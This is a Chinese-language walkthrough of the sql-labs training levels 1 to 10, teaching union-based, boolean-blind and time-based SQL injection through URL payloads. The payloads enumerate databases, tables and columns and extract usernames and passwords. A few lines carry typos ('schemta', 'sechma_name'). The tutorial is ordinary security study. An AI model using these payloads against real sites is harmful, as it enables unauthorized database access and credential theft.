sql注入的基本概念
在开始闯关之前不妨先对sql注入有一个基本的概念,所谓sql注入,实际上就是通过漏洞将sql命令插入表单或输入域名或页面请求的查询字符串,把sql语句注入到后台数据库,从而把网站数据库中的信息提取出来。
sql-labs第一、二、三、四关
**
联合查询可以用到的sql语句及函数
(1)推断有多少列的方法:
order by [参数] (可以判断有多少列,它的作用是将回显信息排列,'参数’的作用是指明按哪一对应的列排序)
(2)联合查询:
union的使用 (使用时需要注意,union明确要求前后语句回显的列要相同)
(3)查库:
select schema_name from information_schema.schemta;
(4)查表:
select table_name from information_schema.tables where table_schema=‘库名’;
(5)查列:
select column_name from information_schema.columns where table_name=‘表名’;
(6)其它
?id=-1’ union select 1,2,group_concat(sechma_name) from information_schema.schemata–+;
其中group_concat的作用是使同一个分组中的值连接起来,返回一个字符串结果。
以第一关为例(第二,三,四关类似第一关,只需要将以下所讲的每一条语句中的包裹方式换成上面所推测出的各关的包裹方式)
1.判断是否存在注入
先在url栏里面输入?id=1’,如果报错则说明,存在注入。
2.判断查询语句查询结果的列数
在url栏中输入?id=1’ order by 数字–+(‘–+’在sql中是注释符,这样让之后的语句不能执行,只能执行我们注入的语句。数字要从1开始逐个尝试,直到报错。最后则说明表里面有报错的数前一个的数的列数)
由下面两副图你会发现查询语句最后的回显中一共有三列
3.判断表中哪几列的信息会回显
在url栏的域名后输入?id=-1’ union select 1,2,3–+
因为前四关会有回显,所以看回显出的是哪几个数字就能判断出哪几列会回显到网页上,由下图可知是第2、3列会回显的网页中
4.查库名
在url栏里面输入:?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+或者输入?id=-1’ union select 1,2,schema_name from information_schema.schemata limit 1,1–+(limit的作用是限制回显的库名是第几个)这里主要是说明一下limit的用法,因为下面几关会用到,到时候不做说明。(同时需要注意1前面的-是不可少的主要作用是使第一句的查询结果不要显示)
5.查表名
要输入的是:?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
6.查列名
在url栏输入:?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’–+
7.第七步(提取数据)
输入:?id=-1’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from users–+(‘concat_ws’的作用是将‘username’和’password’合并回显,同时在它们中间插入‘~’)
sql-labs第五,六关
布尔盲注可以用到的sql语句及函数
较前四关而言第五关到第八关不同之处在于没有回显,我们不能直观的看见信息,所以我们需要一种新的方式进行sql注入——布尔型注入
1.substr()函数:格式是substr(a,b,c)意思是将a字符串从b位置截取c长度
举例: select substr((select schema_name from information_schema.schemata limit 0,1),1,1)=‘i’;
2.ascii()函数:将括号中的字符转换为acsii码,再在最后进行值大小的判断,正确返回1,错误返回0
举例: select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>1;
3.模糊查询:要用到like函数
举例: <1>在mysql navicat中查字段会出现的情况有
(1)select database() like ‘%s%’;表示库名中是否有一个带有s
(2) select database() like ‘s%’;表示库名中是否有一个开头字符为s
<2>在电脑自带的命令行中进入mqsql则情况完全不同如果用 select database() like ‘字符’;它没有在mqsql navicat中那么多的情况,只有一种就是’字符%‘,这种情况的原因是我们已经锁定了一个数据库导致的。
4.regexp函数,regexp为匹配security正则表达式
举例: select database() regexp ‘s’;
5.left函数,从字符串开头截取括号中的数字个长度的字符
举例:select left((select schema_name from information_schema.schemata limit 0,1),1)=‘i’;
以第五关为例(第六,七,八关类似第五关,只需要将以下所讲的每一条语句中的包裹方式换成上面所推测出的各关的包裹方式)
1.判断是否存在注入
输入?id=1’判断是否有sql注入,通过下图判断出,存在sql注入。
2.判断查询语句查询结果的列数
输入:?id=1’ order by 3–+得到
再输入:?id=1’ order by 4–+得到
最后可以发现,查询语句查询结果有三列
3.和前四关不同的是这里没有回显,所以就不需要通过联合查询判断哪几列会回显到网页上,直接判断数据库名
输入:
?id=1’ union select 1,2,substr((select schema_name from information_schema.schemata limit 4,1),1,1)=‘s’–+
或者
?id=1’ union select 1,2,select left((select schema_name from information_schema.schemata limit 4,1),1)=‘s’–+
又或
?id=1’ union select 1,2,ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>0–+通过二分法和ascii函数联合的方式进行判断
还有很多盲注的方式这里不再一一介绍,通过多种函数的联合的方法可以有许多不同的方法,留待读者自己去发现。总体思路就是输入一段语句,让服务器判断正误,通过网页回显进行猜测。一般盲注都会通过burpsuite等软件进行操作,具体的使用方法请读者自行寻找对应文章。
4.第四、五、六步基本上与第三步的思路相同,只是其中的一些关键字不再相同,读者结合前四关的基础和这一部分所讲的盲注方式,一定可以轻易的理解,并使用,所以第四、五、六步不再赘述。
sql-labs第九,十关
只能用时间盲注的原因
与第五关到第八关不同第九关到第十关只能用时间盲注,原因是无论输入的语句正确与否都会得到相同的回显‘you are in…’,所以为了判断输入语句正确与否,要用到一个新的函数if()和sleep(),这样通过相应客户端的时间就知道输入语句是否正确,得到的结果是否正确。
学习时间盲注补充的sql语句及函数
1.格式:sleep(n)
这个函数的意思是让程序晚n秒执行。
2.格式:if(A,B,C)
意思是若A为真,则执行B,若A为假,则执行C。
以第九关为例(第十关类似第九关,只需要将以下所讲的每一条语句中的包裹方式换成上面所推测出的各关的包裹方试)
1.第一步(判断是否存在注入)
输入?id=1’ and sleep (5)–+判断是否有sql注入,如果没有立即相应客户端,则说明存在漏洞。
2.第二步(因为没有回显,所以直接进行判断库的操作)
输入?id=1‘ and if((substr((select schema_name from information_schema.schemata limit 4,1),1,1)=‘s’),1,sleep(3))–+通过给的句子进行不断猜解,就可以查到库名。
3.用近似的语句可以查表名、列名及表中信息,通过前面的练习,相信读者已经对sql注入有了了解,重复的部分不再赘述。